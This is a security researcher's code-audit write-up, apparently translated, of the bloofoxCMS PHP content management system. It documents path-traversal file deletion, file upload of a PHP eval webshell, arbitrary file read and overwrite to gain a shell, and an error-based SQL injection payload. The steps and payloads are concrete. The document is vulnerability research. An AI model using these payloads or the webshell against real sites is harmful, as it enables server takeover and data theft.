Bloofox CMS code audit

Posted by bedted on Mon, 10 Jan 2022 07:02:12 +0100

Project address

bloofoxCMS is a free open source web content management system (CMS) written in PHP using MySQL.

Rough sweep

Use seay to go through it

More than 200 suspected vulnerabilities reflect the shortcomings of the traditional regular expression matching based code audit: rigid rules and many false positives

Take a look at the contents one by one

The first suspected vulnerability point where arbitrary file deletion may exist

Function delete_file($file,$folder)

// delete file from folder $folder
function delete_file($file,$folder)
	if(file_exists($folder.$file) && strlen($file) != 0) {

You can see that only the step of deleting files is modularized, and the global search is called

Click any one to go in and have a look

case 'del':
		if(isset($_POST['send']) && $sys_group_vars['demo'] == 0 && $sys_rights['content_media']['delete'] == 1) {
			if($_POST['media_type'] == 0) {
			} else {
			CreateConfirmMessage(1,get_caption('0410','Entry was successfully deleted.'));

The deleted file name is the media we passed in_ File, you can see that the deleted part here is actually under our control, but in this part, $sys_group_vars['demo'] == 0 restricts the need for administrator login to delete.

Therefore, the code audit target here can be positioned as the administrator's background path crossing, resulting in the deletion of any file on the server. And here we need to try


Can this code cause path traversal

Create test. In the same directory php

    $path_to_files_folder = "../media/files/";
    function delete_file($file,$folder)
        if(file_exists($folder.$file) && strlen($file) != 0) {


Create test under www directory txt


Dynamic debugging view file_exists($folder.$file) value is true

test.txt was successfully deleted, indicating that the path crossing exists

Because no obvious filtering is seen here, log in to the background to directly capture packets, try to delete any real files, and re create test in the www directory txt


Click delete, OK and capture the package

You can see media_ file=e999n. gif&media_ type=0&send=Yes

Where media_file is any file we need to control to delete content, and media_type=0, indicating entry logic

if($_POST['media_type'] == 0) {

Directly use test Path in PHP.. /.. // test.txt, replay

The 302 status code is returned and the deletion is successful

Check the file test in the www directory txt

The file has been deleted, others called delete_ The local use of the file function is also similar. It is directory traversal + arbitrary file deletion. After checking, it should be regarded as a small 0day? If you haven't updated the project for too long, you're too lazy to pay CVE. The same is true for the later vulnerabilities.

Suspected arbitrary file upload vulnerability

Suspected file upload type controllable vulnerability points

// upload files (tools) to folder $folder
function upload_files($folder)
	$oldperms = fileperms($folder);
	@chmod($folder,$oldperms | 0222);
	if(!is_writeable($folder)) {
	} else {
		$x = 0;
   	    while($x < 5)
			if($_FILES["file".$x]["size"] != 0) {

The fileperms() function returns the permissions of the file or directory. The next operation is to modify the directory permissions, detect whether the directory is writable, and write the five uploaded files to the directory in turn

You can see here is $folder$_ Files ["file".. $x] ["name"], the file name is controllable. At the same time, even if the uploaded directory cannot be accessed, the one sentence Trojan horse can be uploaded to the location we want to reach through the vulnerability traversed by the previous directory.

View upload_ Global call to the files function

There is only one calling location, in index php? mode=tools&page=upload

The core code is

if($error == "") {
				if(!upload_files($folder)) { $error = $ac->show_error_message(get_caption('9010',"You have not the permissions (chmod 777) to write in this folder.")." (".$folder.")"); }

The previous upload is called here_ The files function will throw an error only when there is no permission, and the file name is not checked and filtered

Write a sentence

<?php @eval($_POST['shell']);?>

visit And upload a sentence

Upload successfully and parse correctly. Use the ant sword link

Upload any file to GET, but then check it and find that it has been sent before bloofoxCMS v0.5.2.1 background arbitrary file upload vulnerability

Arbitrary file read vulnerability

The vulnerability code is

if(isset($_GET["fileurl"])) {
	$fileurl = "../".$_GET["fileurl"];

if(file_exists($fileurl)) {
	$filelength = filesize($fileurl);
	$readfile = fopen($fileurl,"r");
	$file = fread($readfile,$filelength);

We won't analyze it here, because it is obvious that any file is read. Its original logic is to read the template file under templates. In fact, there is path crossing, resulting in arbitrary file reading

The original effect is:

Read phpinfo under the www directory through the path php

Arbitrary file overwrite write a sentence Trojan horse

In the same file of the previous vulnerability, there is

$newfile = str_replace("\\","",$_POST['file']);
	$fileurl = $_POST['fileurl'];
	$backlink = $_POST['backlink'];
	//write $newfile to file
	if(file_exists($fileurl)) {
		$oldperms = fileperms($fileurl);
		@chmod($fileurl,$oldperms | 0222);
		if(is_writeable($fileurl)==false) {
			$error = $ac->show_error_message(get_caption('9015','You have not the permissions (chmod 666) to write in this file.'));
		} else {
			$wf = fopen($fileurl,"w");

Controllable input and write through the fwrite function can overwrite the known file into a sentence Trojan horse and then getshell

In order not to affect the availability of the environment, I created a test1.0 in the admin folder Empty file for PHP

During actual combat, you can overwrite other php files in this folder or cross to the superior directory

Click save at any file reading to enter the file overwrite code logic

Grab the package and modify the fileurl value. The file here can be modified into a one sentence Trojan horse. Here, replace it with phpinfo() and replay it

You can see test1 PHP has been overwritten

File overwrite - > getshell

SQL injection mining

There are the most suspected SQL injection places. Let's look at the first place first

$db->query("UPDATE ".$tbl_prefix."sys_user SET online_status = '1' WHERE online_status = '0' && uid = '".$sys_vars['uid']."' ORDER BY uid");

Of which $sys_vars['uid '] is defined by the backend program
$sys_vars['uid'] = $_SESSION["uid"];, Feeling is not an input we can control.

The second suspected SQL injection point

$db->query("INSERT INTO ".$tbl_prefix."sys_content VALUES ('','".$_POST['eid']."','".$sorting."','".$config_id."','','".$_POST['title']."','".$_POST['text']."','".$_POST['blocked']."','".$created_by."','".$created_at."','','','".$_POST['startdate']."','".$_POST['enddate']."')");

There are some parameter changes ahead

				$_POST['title'] = validate_text($_POST['title']);
				$_POST['text'] = replace_specialchars($_POST['text']);
				$_POST['startdate'] = validate_date($_POST['startdate']);
				$_POST['enddate'] = validate_date($_POST['enddate']);
				if($_POST['startdate'] == "0" && $error == "") { $error = $ac->show_error_message(get_caption('9430','The starting date is invalid. Please consider the format.')); $_POST['startdate'] = ""; }
				if($_POST['enddate'] == "0" && $error == "") { $error = $ac->show_error_message(get_caption('9440','The ending date is invalid. Please consider the format.')); $_POST['enddate'] = ""; }

				if($admin_plugin[10000] == 0) {
					$_POST['text'] = text_2_html($_POST['text']);

For example, track validate_ The text function shows some filtering

// validate text-input fields
function validate_text($string)
	global $sys_config_vars,$sys_setting_vars;
	$string = trim($string);
	$string = strip_tags($string);
	$string = stripslashes($string);
	if($sys_setting_vars["htmlentities_off"] == 0) {
		// >> 0.5.1
		//$string = htmlentities($string,ENT_QUOTES);
		$string = htmlentities($string,ENT_QUOTES,$sys_config_vars['meta_charset']);
		// << 0.5.1
	} else {
		$string = str_replace("'","&#039;",$string);
		$string = str_replace("\"","&quot;",$string);

Looking at the parameters that are not actually filtered, we focus on$_ On POST['eid '], try SQL injection

Fill in the content and capture the package. Add a single quotation mark to eid=1 to become eid=1 '

If the corresponding package reports an error, it seems that there is an error injection

Modify the payload to eid=1'%20and%20extractvalue(1,concat(0x7e,(select%20database()),0x7e))--+

It is revealed that the database bloofoxcms has SQL injection, and other injection points are similar, so I won't repeat it

Suspected XSS vulnerability

After checking the foreground XSS here, we really can't find a better way to bypass it. After logging in to the background, there must be XSS to modify the template, but the background XSS is generally only used to maintain permissions covertly, which is not perfect

Because it is mainly to record the audit process, the thinking process is valuable whether it is a successful audit to the hole or a failure to build a utilization chain.

Suspected vulnerability points of foreground XSS

if($print == 0) {
	$sys_print_vars['print'] = "<div class='print'><a href='index.php?page=".$sys_explorer_id."&amp;start=".$_GET['start']."&amp;print=1' target='print' title='".get_caption('B010','Print')."'>".get_caption('B010','Print')."</a></div>";

When $print==0, the start passed in by GET will be directly output to the page. I tried index php? start=111

Output successfully. Modify the payload to index php? start=111'>

The interface is successful. I can't find where 111 is

It is found that start must be an integer in front of the suspected vulnerability point

// check if parameter $start is a valid integer value
if(CheckInteger($_GET['start']) == FALSE) {
	$_GET['start'] = 1;

Then the CheckInteger function is based on regular matching

// checks parameter for integer value
function CheckInteger($string)
  if (!preg_match("/^\d+$/",$string))
    return(FALSE); // $string includes other signs
  return(TRUE); // $string is ok

We need preg_ If match ("/ ^ \ D + $/, $string) is true, you can return true. No matter pcre or array bypass, you can only get false. Therefore, no other bypass methods are thought of here. If you have successfully bypassed friends, please tell me hhh


Generally speaking, the code audit of bloofox CMS is relatively simple and basic. Of course, the vulnerabilities are more than those mentioned above. Together with the type of vulnerabilities, there are many places orz. Welcome to communicate with us


A WeChat safety exchange group was built. Welcome to add WeChat notes to the group, chat with us, and a official account that will publish security related content. Welcome to the attention. 😃

Topics: Cyber Security